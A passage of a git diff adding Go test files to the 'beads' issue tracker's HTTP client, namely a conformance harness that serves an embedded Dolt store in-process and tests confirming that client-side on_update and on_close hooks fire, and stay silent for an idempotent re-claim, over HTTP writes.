conformance.RunGraphCounterFiltersEdgesNotAnchors}, + {"NarrowsInboundByDependentStatus", conformance.RunGraphCounterNarrowsInboundByDependentStatus}, + {"CountsAcrossBothPlanes", conformance.RunGraphCounterCountsAcrossBothPlanes}, + {"NarrowsAWispDependentByStatus", conformance.RunGraphCounterNarrowsAWispDependentByStatus}, + {"ResolvesIDsExactly", conformance.RunGraphCounterResolvesIDsExactly}, + {"AnswersAnEmptyRequest", conformance.RunGraphCounterAnswersAnEmptyRequest}, + {"RefusesAnUnusableRequest", conformance.RunGraphCounterRefusesAnUnusableRequest}, + {"LeavesTheRequestAlone", conformance.RunGraphCounterLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunGraphCounterWritesNothing}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_harness_test.go b/internal/httpclient/served_harness_test.go new file mode 100644 index 000000000..3b11d9749 --- /dev/null +++ b/internal/httpclient/served_harness_test.go @@ -0,0 +1,540 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_harness_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "io" + "net/url" + "os" + "path/filepath" + "testing" + "time" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The SERVED-SURFACE conformance harness: client → in-process bd serve → +// reference store. +// +// This is the composition design D8's lane row specifies, and it is what a +// per-role contract binds against. The binding rule is the one composition_test +// states and checkFixtureBinding enforces: SEEDING NEVER GOES THROUGH THE +// CLIENT. Every fixture below takes its seed and post-state hooks from the +// reference store the server serves, and binds only the ROLE under test to the +// http client. A fixture that seeded through the client would prove that the +// client agrees with itself. +// +// Bare RunAll is deliberately absent. Its Factory contract wants a write-ready +// store and its cases seed through raw CreateIssue and SetConfig, both of which +// this backend refuses — so it would prove nothing about a partial backend +// except that it is partial. +// +// One environment per case. Standing up an embedded engine and an HTTP listener +// per case costs about a second; sharing one across cases would make an id +// collision between two contracts a debugging session instead of a rename, and +// the contracts namespace their ids by prefix precisely so they can be run this +// way. + +// servedEnv is one client-server-store triple and the hooks a fixture needs. +type servedEnv struct { + reference *embeddeddolt.EmbeddedDoltStore + subject *Store + dataDir string + database string + prefix string +} + +const servedDatabase = "httpconf" + +// servedProjectID is the identity the in-process server publishes in its +// handshake. Most fixtures leave the client's ExpectProjectID empty and never +// consult it, but the wrong-server cases (served_wrong_server_test.go) pin the +// client against this value — one matching it, one not — to drive the +// project-identity gate (ga-b8ddd.11). +const servedProjectID = "proj-httpconf" + +// This file is the served tier's cgo half; see TestServedTierIsLinkedWhenRequired. +func init() { servedTierLinked = true } + +// skipUnlessEmbeddedDolt gates the tier on the engine it needs. +// +// It is a skip rather than a failure for a DEVELOPER, for the reason the +// embedded backend's own conformance wiring skips: the engine is a cgo-linked +// build-time capability, not a service the environment forgot to start. +// +// It is a FAILURE for the lane that stands the tier up. BEADS_HTTP_TEST_REQUIRED=1 +// is how scripts/conformance.sh and the embedded lane's +// //internal/httpclient:httpclient_served_test say "this tier is the required +// home of the served surface" — the same shape as BEADS_PG_TEST_REQUIRED for the +// live PostgreSQL tier and BEADS_TEST_EMBEDDED_DOLT for the oracle. Without it, +// a dropped env key in the lane, or a rename of the variable, would restore +// exactly the state this wiring exists to end: hundreds of served cases +// skipping themselves while the gate reports success. +// +// Two checks sit outside this one. TestServedTierIsLinkedWhenRequired fails a +// required run built without cgo, which compiles this file out. And a tier that +// stopped being invoked at all, which no in-process check can see, is a +// failure of scripts' TestBazelRetiredLanesCannotBeNarrowed, which pins +// httpclient_served_test's env to both variables. +func skipUnlessEmbeddedDolt(t *testing.T) { + t.Helper() + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") == "1" { + return + } + if os.Getenv("BEADS_HTTP_TEST_REQUIRED") == "1" { + t.Fatal("BEADS_HTTP_TEST_REQUIRED=1 but BEADS_TEST_EMBEDDED_DOLT is not 1; " + + "the served-surface conformance tier is not enforced") + } + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run the served-surface conformance tier") +} + +// newServedEnv boots a reference store, serves its roles over an in-process +// listener, and points an http client store at the bound address. The client +// pins no expected identity, so the project-identity gate is inert — which is +// what every role contract below wants, since none of them is about identity. +// +// The optional config tweaks run against the served Config after the roles are +// bound and before Listen, so a case can slow the watch cadence or serve a +// journal-OFF workspace without a second harness. They are variadic so the many +// callers that need none stay unchanged. +func newServedEnv(t *testing.T, prefix string, opts ...func(*httpapi.Config)) *servedEnv { + t.Helper() + return newServedEnvExpecting(t, prefix, "", opts...) +} + +// newServedEnvExpecting is newServedEnv with the client's ExpectProjectID +// pinned. The wrong-server cases use it to arm the identity gate the plain +// harness deliberately leaves off (ga-b8ddd.11). +func newServedEnvExpecting(t *testing.T, prefix, expectID string, opts ...func(*httpapi.Config)) *servedEnv { + t.Helper() + skipUnlessEmbeddedDolt(t) + + beadsDir := t.TempDir() + ctx := t.Context() + reference, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") + if err != nil { + t.Fatalf("open the reference store: %v", err) + } + t.Cleanup(func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", prefix); err != nil { + t.Fatalf("set the issue prefix: %v", err) + } + + cfg := serveConfig(t, reference) + for _, opt := range opts { + opt(&cfg) + } + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the in-process server: %v", err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Error("the in-process server did not shut down") + } + }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + t.Fatalf("parse the bound address: %v", err) + } + client, err := wire.New(base, nil, wire.Options{ExpectProjectID: expectID}) + if err != nil { + t.Fatalf("build the client: %v", err) + } + + // ExpectProjectID is the identity pin `bd connect` records and D6 checks. + // The plain harness leaves it empty so the gate is inert for the role + // contracts; the wrong-server cases pass a value to arm it. + subject := New(Target{BaseURL: base}, client, nil) + return &servedEnv{ + reference: reference, + subject: subject, + // The SQL handle addresses the engine's data directory, which the + // store creates one level under the workspace. Passing beadsDir here + // finds no database at all. + dataDir: filepath.Join(beadsDir, "embeddeddolt"), + database: servedDatabase, + prefix: prefix, + } +} + +// serveConfig binds every served role to the reference store. +// +// Every one of them is taken through the store's own capability accessor rather +// than a constructor: a store that stopped offering a role is the regression +// this catches, and a constructor call would hide it. The server refuses a +// partial role set outright, which is why there is no shortcut here. +func serveConfig(t *testing.T, s storage.DoltStorage) httpapi.Config { + t.Helper() + cfg := httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + // The handshake's published identity. Role contracts never read it, but + // the wrong-server cases compare the client's ExpectProjectID against it. + Workspace: domain.ContextInfo{ProjectID: servedProjectID, Database: servedDatabase}, + } + + var err error + fail := func(name string) { + t.Helper() + if err != nil { + t.Fatalf("%s(): %v", name, err) + } + } + cfg.Reader, err = s.IssueReader() + fail("IssueReader") + cfg.Claimer, err = s.IssueClaimer() + fail("IssueClaimer") + cfg.ReadyClaimer, err = s.ReadyClaimer() + fail("ReadyClaimer") + cfg.Releaser, err = s.Releaser() + fail("Releaser") + cfg.Lifecycle, err = s.IssueLifecycle() + fail("IssueLifecycle") + cfg.Settings, err = s.WorkspaceConfig() + fail("WorkspaceConfig") + cfg.Stats, err = s.StatsReporter() + fail("StatsReporter") + cfg.CycleDetector, err = s.CycleDetector() + fail("CycleDetector") + cfg.EdgeReader, err = s.EdgeReader() + fail("EdgeReader") + cfg.GraphCounter, err = s.GraphCounter() + fail("GraphCounter") + cfg.Relations, err = s.IssueRelations() + fail("IssueRelations") + cfg.Commenter, err = s.Commenter() + fail("Commenter") + cfg.BlockingAnnotator, err = s.BlockingAnnotator() + fail("BlockingAnnotator") + cfg.TreeWalker, err = s.TreeWalker() + fail("TreeWalker") + cfg.ReadyCounter, err = s.ReadyCounter() + fail("ReadyCounter") + cfg.Counter, err = s.Counter() + fail("Counter") + cfg.Querier, err = s.Querier() + fail("Querier") + cfg.Sweeper, err = s.Sweeper() + fail("Sweeper") + cfg.Deleter, err = s.Deleter() + fail("Deleter") + cfg.BatchCreator, err = s.BatchCreator() + fail("BatchCreator") + cfg.BatchCloser, err = s.BatchCloser() + fail("BatchCloser") + cfg.DependencyEditor, err = s.DependencyEditor() + fail("DependencyEditor") + cfg.MetadataCAS, err = s.MetadataCAS() + fail("MetadataCAS") + cfg.BatchApplier, err = s.BatchApplier() + fail("BatchApplier") + cfg.Memories, err = s.Memories() + fail("Memories") + cfg.BatchGetter, err = s.BatchGetter() + fail("BatchGetter") + + // THE JOURNAL IS NOT AN ACCESSOR, alone among the roles above: it is reached + // by TYPE ASSERTION, because it is not on storage.DoltStorage and a backend + // is free not to implement it at all. This is verbatim the expression + // cmd/bd's serveJournalCursor makes. + // + // EventsJournalEnabled is hard-set rather than resolved, and it has to be: + // the flag is read per REQUEST off this config, the store's own + // SetEventsJournalEnabled is what decides whether anything is RECORDED, and + // the Journal fixture flips that after Listen has already bound. A config + // resolved from the workspace would leave every read a 409. Serving with it + // on costs the other contracts nothing — no rows exist until a case asks for + // them — and Listen refuses to bind an enabled workspace with no reader, so + // the two lines travel together. + cursor, ok := any(s).(storage.EventsJournalCursor) + if !ok { + t.Fatalf("%T does not implement storage.EventsJournalCursor; the served journal has nothing to read", s) + } + cfg.EventsJournal = cursor + cfg.EventsJournalEnabled = true + return cfg +} + +// The reference store's roles, seeded through the store rather than the client. + +func (e *servedEnv) createIssue(ctx context.Context, issue *types.Issue, actor string) error { + return e.reference.CreateIssue(ctx, issue, actor) +} + +// createWisp seeds into the EPHEMERAL plane. The flag is set here rather than by +// the caller because the contracts hand the same issue value to both hooks and +// expect the hook to decide the plane. +func (e *servedEnv) createWisp(ctx context.Context, issue *types.Issue, actor string) error { + // A NoHistory bead is routed into the wisps plane by the CREATE verb + // itself, and upstream (#5191) refuses ephemeral AND no_history on one + // row — so the flag is forced only for the plain ephemeral shape, the + // same way the Dolt role kit's CreateWisp leaves the routing to the verb. + if !issue.NoHistory { + issue.Ephemeral = true + } + return e.reference.CreateIssue(ctx, issue, actor) +} + +func (e *servedEnv) addDependency(ctx context.Context, dep *types.Dependency, actor string) error { + return e.reference.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{EmitEvent: true}) +} + +// addComment seeds through the reference store's Commenter ROLE, which resolves +// the plane itself — so a case can cite a sweep candidate from a WISP's comment +// without knowing how the backend reaches wisp_comments. +// +// IT STAYS ON THE REFERENCE SIDE NOW THAT THE CLIENT HAS A COMMENTER of its own +// (client wave ga-f352s), and the reason is the harness rule rather than the old +// absence: SEEDING NEVER GOES THROUGH THE CLIENT. A fixture that seeded its +// preconditions through the subject would prove the client agrees with itself, +// which is exactly what the Commenter contract must not be able to do. +func (e *servedEnv) addComment(ctx context.Context, issueID, author, text string) error { + commenter, err := e.reference.Commenter() + if err != nil { + return err + } + _, err = commenter.AddComment(ctx, issueops.AddCommentRequest{IssueID: issueID, Author: author, Text: text}) + return err +} + +// seedCommentAt appends a comment to an existing thread at a chosen created_at. +// +// It is the IMPORT shape and it has to be: the served operation deliberately +// publishes no created_at member — a stored time the caller supplied makes the +// row disagree with the entry that records it — so the client's own Commenter +// cannot place a comment anywhere but now. That is what makes this the one hook +// here with no client-side equivalent even in principle, and it is why the +// timing clauses of the Commenter contract are observable at all: the seeded +// comment sits an hour from the clock, so the right answer and the wrong one are +// an hour apart rather than a runner's margin. +func (e *servedEnv) seedCommentAt(ctx context.Context, issueID, author, text string, at time.Time) error { + _, err := e.reference.ImportIssueComment(ctx, issueID, author, text, at) + return err +} + +func (e *servedEnv) setConfig(ctx context.Context, key, value string) error { + return e.reference.SetConfig(ctx, key, value) +} + +// listEvents answers ONE issue's whole event journal, which is how the update +// cases end the clause a row read cannot: RowVersion says the row did not move, +// and nothing on the row says an event was not appended beside it. +// +// The limit is 0 — GetEvents reads that as "no limit" — because every case takes +// a DELTA around the operation under test, and a truncated journal would make +// "the refusal wrote nothing" unfalsifiable. +// +// It reads the REFERENCE store like every other out-of-band hook here, and the +// reason is now the FIRST of the two this comment used to give rather than the +// second. The v0 journal is keyed on `since` and `limit` rather than on an +// issue, so asking the subject would mean paging a whole feed and projecting one +// id out of it — which is a different question from the one these cases ask. +// The second reason is gone: client wave ga-jpywb wired journalops.Journal +// (journal.go), so the client CAN read a journal, and served_journal_test.go is +// where that is proved. +func (e *servedEnv) listEvents(ctx context.Context, issueID string) ([]*types.Event, error) { + return e.reference.GetEvents(ctx, issueID, 0) +} + +// listDependencies answers one issue's outgoing edges as records, for the +// reparent cases: the clause under test is that a set ParentID "atomically +// replaces ALL parents with exactly that target", which needs the whole SET +// rather than a lookup of the new parent. +// +// It reads through the reference store's dependency-with-metadata surface, +// which resolves each target to the issue behind it, so an edge onto an id no +// plane holds is dropped. The cases assert a parent set whose every member is a +// row they seeded, so that resolution is invisible to them. +func (e *servedEnv) listDependencies(ctx context.Context, issueID string) ([]*types.Dependency, error) { + records, err := e.reference.GetDependenciesWithMetadata(ctx, issueID) + if err != nil { + return nil, err + } + edges := make([]*types.Dependency, 0, len(records)) + for _, record := range records { + if record == nil { + continue + } + edges = append(edges, &types.Dependency{ + IssueID: issueID, + DependsOnID: record.ID, + Type: record.DependencyType, + }) + } + return edges, nil +} + +func (e *servedEnv) getIssue(ctx context.Context, id string) (*types.Issue, error) { + return e.reference.GetIssue(ctx, id) +} + +// servedJournalMutations is the one-hook-per-op kit both the paged Journal and +// the pushed Watcher contracts drive, in ONE place so the two cannot disagree +// about how a mutation is made. +// +// Every hook drives the REFERENCE store, which is the harness rule and not a +// shortcut around a refusing client: two of the seven have no client-side +// spelling at all (a raw delete and a raw dependency remove are on the +// unsupported allowlist), and the question both contracts ask is whether the +// client can READ — page or stream — the journal a server wrote. +func servedJournalMutations(reference *embeddeddolt.EmbeddedDoltStore) conformance.JournalMutations { + return conformance.JournalMutations{ + Create: func(ctx context.Context, id string) error { + return reference.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + }, + Update: func(ctx context.Context, id string) error { + return reference.UpdateIssue(ctx, id, map[string]any{"title": "renamed " + id}, "actor") + }, + Close: func(ctx context.Context, id string) error { + return reference.CloseIssue(ctx, id, "done", "actor", "") + }, + Delete: func(ctx context.Context, id string) error { + return reference.DeleteIssue(ctx, id) + }, + AddDependency: func(ctx context.Context, from, to string) error { + return reference.AddDependency(ctx, &types.Dependency{ + IssueID: from, DependsOnID: to, Type: types.DepBlocks, + }, "actor") + }, + RemoveDependency: func(ctx context.Context, from, to string) error { + return reference.RemoveDependency(ctx, from, to, "actor") + }, + Comment: func(ctx context.Context, id, text string) error { + return reference.AddComment(ctx, id, "actor", text) + }, + } +} + +// wispExists probes the EPHEMERAL plane alone, which is the one question a +// both-plane read cannot answer: getIssue resolves the durable row first, so a +// stray wisp written under an occupied durable id is invisible to it. +// +// The create contracts need it and nothing else does yet. It is a RAW read of +// the reference store's own table, like every other out-of-band hook here — the +// client publishes no ephemeral-plane listing at all (ListWisps is on the +// unsupported allowlist), so asking through the subject would be asking the +// thing under test. +func (e *servedEnv) wispExists(ctx context.Context, id string) (bool, error) { + var rows int + if err := e.queryScalar(ctx, "SELECT COUNT(*) FROM wisps WHERE id = ?", []any{id}, &rows); err != nil { + return false, err + } + return rows > 0, nil +} + +// queryScalar is the contracts' raw-row hook. It opens its own SQL handle per +// call, the way the embedded backend's own frozen fixture kit does, because a +// held handle and a live server on the same database is a lock nobody needs. +// +// "Nobody needs" is measured, not assumed. An earlier revision of the graph-role +// wiring held one handle open for the life of the environment: the first seeding +// write after it opened never returned, the run died on Go's default ten-minute +// test timeout at 600.080s, and the panic's goroutine dump put the test inside +// embeddeddolt.(*EmbeddedDoltStore).CreateIssue blocked in the store's own +// connection acquisition, with the server goroutine parked beside it for four +// minutes. It HANGS rather than fails, which is the worst shape a gate can take +// — so the per-call open is load-bearing, and a future refactor that hoists it +// out for tidiness would reintroduce a deadlock, not a slowdown. +func (e *servedEnv) queryScalar(ctx context.Context, query string, args []any, dest ...any) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, e.dataDir, e.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + return db.QueryRowContext(ctx, query, args...).Scan(dest...) +} + +// countHistoryMatching counts the reference branch's history entries whose +// message matches pattern, where "" means every entry and anything else is a +// SQL LIKE pattern (backend/conformance/history_matching.go states the +// convention). The wisp-naming case needs it: "no entry NAMES this wisp" is a +// claim about what an entry READS, which a bare count cannot express, and a nil +// hook leaves that clause unpinned on this tier rather than checked. +func (e *servedEnv) countHistoryMatching(ctx context.Context, pattern string) (int, error) { + query := "SELECT COUNT(*) FROM dolt_log" + var args []any + if pattern != "" { + query += " WHERE message LIKE ?" + args = append(args, pattern) + } + var entries int + err := e.queryScalar(ctx, query, args, &entries) + return entries, err +} + +// countHistory is DEFINED as the empty-pattern count, the same way the embedded +// backend's own fixture kit defines it, so the two hooks cannot disagree about +// the length of one log. +func (e *servedEnv) countHistory(ctx context.Context) (int, error) { + return e.countHistoryMatching(ctx, "") +} + +// commitPending settles everything seeded so far into the version history, so a +// later countHistory delta measures the call under test and not the seeds that +// led up to it. +// +// It runs against the REFERENCE store rather than the subject, like every other +// out-of-band hook here: the subject is an http client, which publishes no +// commit at all (CommitPending is on its unsupported allowlist), and the history +// these cases measure belongs to the store the server is serving from. +func (e *servedEnv) commitPending(ctx context.Context) error { + return e.commitMessage(ctx, "conformance: settle seeds before a history delta") +} + +// commitMessage is the same act under the caller's own message, which the +// staging fixture's Commit hook takes: those cases read `AS OF 'HEAD'` and the +// entry they settle the seeds into is named after what it settled. +func (e *servedEnv) commitMessage(ctx context.Context, message string) error { + return e.reference.Commit(ctx, message) +} + +// execRaw is the single-statement spelling of exec, which is the shape the +// staging fixture's own Exec hook takes. It is a spelling rather than a second +// implementation so both go through the per-call handle the comment on +// queryScalar explains. +func (e *servedEnv) execRaw(ctx context.Context, query string, args ...any) error { + return e.exec(ctx, []conformance.SQLStatement{{Query: query, Args: args}}) +} + +// exec runs a seeding script as ONE session, for the close/reopen cases that +// need a state no supported verb can produce. +func (e *servedEnv) exec(ctx context.Context, statements []conformance.SQLStatement) error { + db, cleanup, err := embeddeddolt.OpenSQL(ctx, e.dataDir, e.database, "main") + if err != nil { + return err + } + defer func() { _ = cleanup() }() + conn, err := db.Conn(ctx) + if err != nil { + return err + } + defer func() { _ = conn.Close() }() + for _, statement := range statements { + if _, err := conn.ExecContext(ctx, statement.Query, statement.Args...); err != nil { + return err + } + } + return nil +} diff --git a/internal/httpclient/served_hooks_test.go b/internal/httpclient/served_hooks_test.go new file mode 100644 index 000000000..1891a6589 --- /dev/null +++ b/internal/httpclient/served_hooks_test.go @@ -0,0 +1,254 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_hooks_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// Client-side hook parity, design D9 L11. +// +// THE POSTURE. `bd serve` runs no hooks — it says so, and its own registered- +// backend test asserts an HTTP claim does NOT run the served workspace's +// on_update. That is the SERVER's side. This file is the client's: the seam sits +// below HookFiringStore in the client process (cmd/bd's wireStorageDecorators +// composes caller → HookFiringStore → telemetry → the opened store, and a +// registered backend's store goes through that call exactly as an embedded one +// does), so a workspace connected to a server still runs its own on_update when +// its own `bd` writes. +// +// WHY IT NEEDS A TEST AT ALL. HookFiringStore decorates six role accessors, and +// each one recurses into the inner store's accessor rather than delegating +// blindly — a blind delegation would hand back the inner claimer unchanged and +// silently drop the hook every landed claim owes. Nothing forces that for a +// backend that arrived through the registry, and nothing in the tree asserted +// it: the hook-firing tests are embedded-Dolt or proxied-Dolt, and the +// registered-backend test only pins the negative. A store whose Changed flag +// came out of an HTTP response rather than a SQL row is exactly where the +// no-op suppression could quietly invert. +// +// The residue L11 records stands: the hook fires AFTER the server's commit with +// no shared transaction, so a hook that re-reads sees the server's state. + +// TestHooksFireOnHTTPWritesThroughTheDecoratorChain is the parity proof: a claim, +// an update and a close, all over the wire, each running this workspace's hook. +func TestHooksFireOnHTTPWritesThroughTheDecoratorChain(t *testing.T) { + env := newServedEnv(t, "hhk") + ctx := t.Context() + + hooksDir := t.TempDir() + updateMarker := plantHook(t, hooksDir, "on_update") + closeMarker := plantHook(t, hooksDir, "on_close") + + // The chain cmd/bd builds, with the http store where the opened store goes. + // Taking the roles off the DECORATED store rather than off the client is the + // whole subject: a command holds this interface, and the accessor is where + // each decorator adds its layer. + var decorated storage.DoltStorage = storage.NewHookFiringStore(env.subject, hooks.NewRunner(hooksDir)) + + const id = "hhk-hooked" + seed := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, seed, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer() off the decorated store: %v", err) + } + if !storage.RoleFiresHooks(claimer) { + t.Fatal("the decorated store handed back a claimer that fires no hooks; the decorator delegated instead of recursing") + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: id}); err != nil { + t.Fatalf("claim over http: %v", err) + } + waitForHook(t, updateMarker, "an HTTP claim") + + lifecycle, err := decorated.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle() off the decorated store: %v", err) + } + if !storage.RoleFiresHooks(lifecycle) { + t.Fatal("the decorated store handed back a lifecycle that fires no hooks") + } + if err := os.Remove(updateMarker); err != nil { + t.Fatalf("clear the update marker: %v", err) + } + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "worker", IssueID: id, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "edited over http"}}, + }); err != nil { + t.Fatalf("update over http: %v", err) + } + waitForHook(t, updateMarker, "an HTTP update") + + if _, err := lifecycle.Close(ctx, issueops.CloseRequest{Actor: "worker", IssueID: id, Reason: "done"}); err != nil { + t.Fatalf("close over http: %v", err) + } + waitForHook(t, closeMarker, "an HTTP close") + + // The writes are the server's, read back from the store the server serves — + // never from the client, which is the thing under test. + after, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read %s back from the reference store: %v", id, err) + } + if after.Title != "edited over http" { + t.Errorf("title after the update = %q, want the edit to have landed server-side", after.Title) + } + if after.Status != types.StatusClosed { + t.Errorf("status after the close = %q, want closed", after.Status) + } +} + +// TestTheIdempotentReclaimFiresNoHook is the suppression half, and it is the +// half an HTTP-sourced Changed flag could invert: already_claimed on a 200 means +// the SAME actor re-claimed, and reading it as a change would run the user's +// hook script once per poll for a write that never happened. +// +// PROVING AN ABSENCE. hooks.Runner.Run is fire-and-forget, so "the marker is not +// there yet" is not the same as "no hook ran", and a fixed sleep only decides +// how long the test is wrong for. The barrier here is a POSITIVE CONTROL on a +// SECOND issue: the log records one line per invocation with the issue id it +// fired for, the re-claim is followed by a genuinely-changed write on another +// row, and the assertion waits for THAT row's line. The re-claim's hook, had it +// fired, would have been launched strictly earlier — before the second write was +// even issued — so a log that reaches the barrier without it is evidence rather +// than a guess. The count is asserted as well as the contents, which is what +// catches a hook that fired for the right row the wrong number of times. +func TestTheIdempotentReclaimFiresNoHook(t *testing.T) { + env := newServedEnv(t, "hhq") + ctx := t.Context() + + hooksDir := t.TempDir() + log := plantLoggingHook(t, hooksDir, "on_update") + decorated := storage.NewHookFiringStore(env.subject, hooks.NewRunner(hooksDir)) + + const claimed = "hhq-reclaim" + const barrier = "hhq-barrier" + for _, id := range []string{claimed, barrier} { + seed := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, seed, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + + claimer, err := decorated.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: claimed}); err != nil { + t.Fatalf("first claim: %v", err) + } + waitForHookLine(t, log, claimed, "the first HTTP claim") + + res, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "worker", IssueID: claimed}) + if err != nil { + t.Fatalf("re-claim: %v", err) + } + if res.Changed { + t.Fatal("the re-claim reported Changed; already_claimed on a 200 is the idempotent re-claim") + } + + // The barrier: a write that genuinely changes a DIFFERENT row, whose hook is + // launched after the re-claim's would have been. + lifecycle, err := decorated.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "worker", IssueID: barrier, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "barrier edit"}}, + }); err != nil { + t.Fatalf("barrier update: %v", err) + } + waitForHookLine(t, log, barrier, "the barrier update") + + if got := countHookLines(t, log, claimed); got != 1 { + t.Errorf("on_update fired %d times for %s, want 1: the idempotent re-claim ran the user's script for a write that never happened, "+ + "and a polling agent would run it once per poll", got, claimed) + } +} + +// plantHook writes an executable hook that touches a marker, and returns the +// marker path. +func plantHook(t *testing.T, hooksDir, name string) string { + t.Helper() + marker := filepath.Join(t.TempDir(), name+".fired") + script := "#!/bin/sh\ntouch " + marker + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, name), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the %s hook: %v", name, err) + } + return marker +} + +// plantLoggingHook writes a hook that APPENDS the issue id it fired for, so the +// test can count invocations rather than observe a latch. `$1` is the issue id +// the runner passes as the hook's first argument. +func plantLoggingHook(t *testing.T, hooksDir, name string) string { + t.Helper() + log := filepath.Join(t.TempDir(), name+".log") + script := "#!/bin/sh\necho \"$1\" >> " + log + "\n" + if err := os.WriteFile(filepath.Join(hooksDir, name), []byte(script), 0o755); err != nil { //nolint:gosec // G306: a hook must be executable to run at all + t.Fatalf("plant the %s hook: %v", name, err) + } + return log +} + +// waitForHookLine polls until the log records an invocation for id. +func waitForHookLine(t *testing.T, log, id, what string) { + t.Helper() + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if countHookLines(t, log, id) > 0 { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("%s ran no hook: %s recorded no line for %s", what, log, id) +} + +func countHookLines(t *testing.T, log, id string) int { + t.Helper() + data, err := os.ReadFile(log) // #nosec G304 - the path is this test's own temp file + if err != nil { + if os.IsNotExist(err) { + return 0 + } + t.Fatalf("read the hook log: %v", err) + } + n := 0 + for _, line := range strings.Split(string(data), "\n") { + if strings.TrimSpace(line) == id { + n++ + } + } + return n +} + +// waitForHook polls for the marker. hooks.Runner.Run is fire-and-forget by +// design — a slow hook must not block the write that triggered it — so the only +// honest assertion is a bounded wait. +func waitForHook(t *testing.T, marker, what string) { + t.Helper() + deadline := time.Now().Add(15 * time.Second) + for time.Now().Before(deadline) { + if _, err := os.Stat(marker); err == nil { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("%s ran no hook: %s was never created", what, marker) +} diff --git a/internal/httpclient/served_issue_operations_test.go b/internal/httpclient/served_issue_operations_test.go new file mode 100644 index 000000000..fd2f67654 --- /dev/null +++ b/internal/httpclient/served_issue_operations_test.go @@ -0,0 +1,261 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_issue_operations_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Lifecycle PERSISTENCE-SEAM contracts, run through client → in-process bd +// serve → reference store. +// +// This is the half of the Lifecycle role that the three accessor-reachable +// contract files next door deliberately do not hold: every case here ends on a +// COLUMN rather than on a returned row — the persisted `is_blocked` projection, +// `metadata IS NULL`, a committed `AS OF 'HEAD'` read, the plane a create +// routed to — and no read on any role hydrates those. The contract expresses +// that as a raw-SQL seam on its fixture, and this leg answers it the way it +// answers every other out-of-band probe: through the REFERENCE store the server +// is serving from, never through the client. +// +// WHAT THAT MAKES THE TIER WORTH HERE. The subject is one HTTP request. The +// client sends it, recomputes nothing, and every postcondition below is read +// out of the database afterwards — so a settlement the server did not make +// inside its own transaction, a plane it routed the wrong way, or a metadata +// document it wrote as SQL NULL shows up as a raw-row fact with no role read in +// between to launder it. +// +// UpdateRaw is bound to the REFERENCE store's own untyped funnel +// (env.reference.UpdateIssue), never to the client: storage.UpdateIssue is on +// the client's unsupported allowlist by design (D8: re-routing a raw front +// door would put a second spelling of the edit beside the role's), so there is +// no client funnel to bind. That is fine for every case actually registered in +// this file, because none of them takes the funnel AS ITS SUBJECT — they use it +// only to SEED a precondition an httpLifecycle.Create or the configured-status +// vocabulary cannot reach directly (an already-deferred row, a custom +// "name:category" status create does not parse). The three cases whose SUBJECT +// is the funnel itself 